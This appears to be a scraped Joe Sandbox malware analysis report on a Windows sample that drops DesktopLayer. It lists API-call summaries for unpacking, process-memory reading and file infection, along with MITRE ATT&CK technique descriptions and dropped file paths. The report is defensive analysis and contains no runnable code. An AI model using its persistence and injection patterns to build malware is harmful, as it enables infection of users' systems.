Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings$lstrlen$AllocCreateDirectoryGloballstrcatlstrcpy
String ID: %APPDATA%$%CommonProgramFiles%$%HOMEDRIVE%%HOMEPATH%$%ProgramFiles%
API String ID: 1756080463-2835764218
Opcode ID: eb2d092b21e97612dede6986c0320930081586544f6f096bcc96e5e14e4d91fc
Instruction ID: b3cca358a8796779bf3d8f55d13e7706bab6aaea77049080d11dc94dac6c4c64
Opcode Fuzzy Hash: eb2d092b21e97612dede6986c0320930081586544f6f096bcc96e5e14e4d91fc
Instruction Fuzzy Hash: 164164F1940118B9DF20A651CD4AFBA737CEB84308F1040FBB306B60D1D6B84E869A6D

Function 00402602 Relevance: 7.7, APIs: 5, Instructions: 159memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00002000,00000001,?), ref: 00402663
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,00002000,00000001,?), ref: 0040268A
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,00001000,00000004,?,?,00002000,00000001,?), ref: 004026BA
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,?,?,00000002,?,?,?,00001000,00000004,?,?), ref: 0040270D
VirtualProtect.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,00001000,00000004,?), ref: 004027C2

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$Protect
String ID:
API String ID: 655996629-0
Opcode ID: 8a1ec8856747ec6f4da4b5d0186b173a747b7486a7cabfdb4d41f6a841c9f38e
Instruction ID: 96a6c0cd5334beb3fa36ead02948455c214efa3f4d05aea688992a3438b1af0e
Opcode Fuzzy Hash: 8a1ec8856747ec6f4da4b5d0186b173a747b7486a7cabfdb4d41f6a841c9f38e
Instruction Fuzzy Hash: B7511B32900209AFDF159F95CD45BEEBB71FF08314F104466F610B66E1D3B9A9A0DBA4

Function 004012FF Relevance: 7.5, APIs: 5, Instructions: 44filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,00000000), ref: 00401321
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,00000000), ref: 00401333
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,00000000), ref: 00401340
ReadFile.KERNEL32(?,00000000,00000000,?,00000000,00000040,00000000,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040135B
ExitProcess.KERNEL32(?,00000000,00000040,00000000,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,00000000), ref: 0040136A

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: File$AllocCreateExitGlobalProcessReadSize
String ID:
API String ID: 1961981507-0
Opcode ID: 4e761cb6b73df6b6b28292fb355679b642c493eaa2c4e242acb12fc99e6c2e86
Instruction ID: 79cc8bef3f632a0c77fc9708f8f56676fd4cb2f71734551f03fa5f540b5cbac7
Opcode Fuzzy Hash: 4e761cb6b73df6b6b28292fb355679b642c493eaa2c4e242acb12fc99e6c2e86
Instruction Fuzzy Hash: 4601E831E40208FAEF219BE1DD02FADBB75BF04B14F2081A6BB10791E0D6B55B51AB08

Function 00401223 Relevance: 7.5, APIs: 5, Instructions: 34fileCOMMON

Download Yara Rule

APIs

GetTempFileNameA.KERNEL32(?,0040D877,00000000,?), ref: 0040123D
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,0040D877,00000000,?), ref: 0040125B
ExitProcess.KERNEL32(00000000,?,C0000000,00000000,00000000,00000002,00000080,00000000,?,0040D877,00000000,?), ref: 00401266
DeleteFileA.KERNEL32(?,00000000,?,C0000000,00000000,00000000,00000002,00000080,00000000,?,0040D877,00000000,?), ref: 00401272
DeleteFileA.KERNEL32(?,?,C0000000,00000000,00000000,00000002,00000080,00000000,?,0040D877,00000000,?), ref: 00401287

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: File$Delete$CreateExitNameProcessTemp
String ID:
API String ID: 3379470239-0
Opcode ID: b6139246b5154474f3c282e1d073f29279d65b74cefbe59d51f48a5e86a2360c
Instruction ID: 186fe5be79785259f1872443284916a5363f1187a29e07790adc69cdd5997470
Opcode Fuzzy Hash: b6139246b5154474f3c282e1d073f29279d65b74cefbe59d51f48a5e86a2360c
Instruction Fuzzy Hash: 9BF082B164020835EB30E6618C0BF9A715C6B0070CF504676B714F61D1DAF8EA4587AD

Function 00402270 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 0040220E: ReadProcessMemory.KERNEL32(?,?,?,0000000C,?), ref: 00402251

ReadProcessMemory.KERNEL32(?,?,?,00000040,?,00000000), ref: 0040229D
ReadProcessMemory.KERNEL32(?,?,?,000000F8,?), ref: 004022C8

Strings

PE, xrefs: 004022D1
MZ, xrefs: 004022A6

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: MemoryProcessRead
String ID: MZ$PE
API String ID: 1726664587-1102611028
Opcode ID: ca2693b3a002a90c9008a8d5c803d614c5cb3d8d4de5a3cffed5cd9569d7e1f6
Instruction ID: ff517562bc2addfbfb0c077f2f9b6474b95ba07a3f67e200e1b9cf5a963460f1
Opcode Fuzzy Hash: ca2693b3a002a90c9008a8d5c803d614c5cb3d8d4de5a3cffed5cd9569d7e1f6
Instruction Fuzzy Hash: F901E97190020DEEDF10CBD4CD89AEDBBB8AB04308F0440ABA604B62D1D6B49E81DB58

Function 00401295 Relevance: 6.0, APIs: 4, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,00000080,00000000,00000000), ref: 004012B6
SetFilePointer.KERNEL32(?,00000000,00000000,00000002,?,40000000,00000003,00000000,?,00000080,00000000,00000000), ref: 004012D2
WriteFile.KERNEL32(?,00000000,?,?,00000000,?,40000000,00000003,00000000,?,00000080,00000000,00000000), ref: 004012E6
ExitProcess.KERNEL32(?,?,00000000,?,?,00000000,?,40000000,00000003,00000000,?,00000080,00000000,00000000), ref: 004012EE

Memory Dump Source

Source File: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2055030585.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_DesktopLayer.jbxd

Yara matches

Similarity

API ID: File$CreateExitPointerProcessWrite
String ID:
API String ID: 1233698708-0
Opcode ID: 17073aa6979a65108cf7d39ef20d8d1bdf3bf7d4a4386ba95b440b7c12678aed
Instruction ID: 075fdeaf1b34fa61d46e1d9352e38da4b48368fe327db8da620f2795438672a1
Opcode Fuzzy Hash: 17073aa6979a65108cf7d39ef20d8d1bdf3bf7d4a4386ba95b440b7c12678aed
Instruction Fuzzy Hash: 6EF0FF31A40209FAEF219E90DD47F9D7B35AF04718F204266B620791E1C7B55E60AB09

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U65b0#U7248#U7f51#U5173Srv.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

C:\Program Files (x86)\AutoIt3\Au3Info.exe

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files (x86)\AutoIt3\Uninstall.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Windows Analysis Report
#U65b0#U7248#U7f51#U5173Srv.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre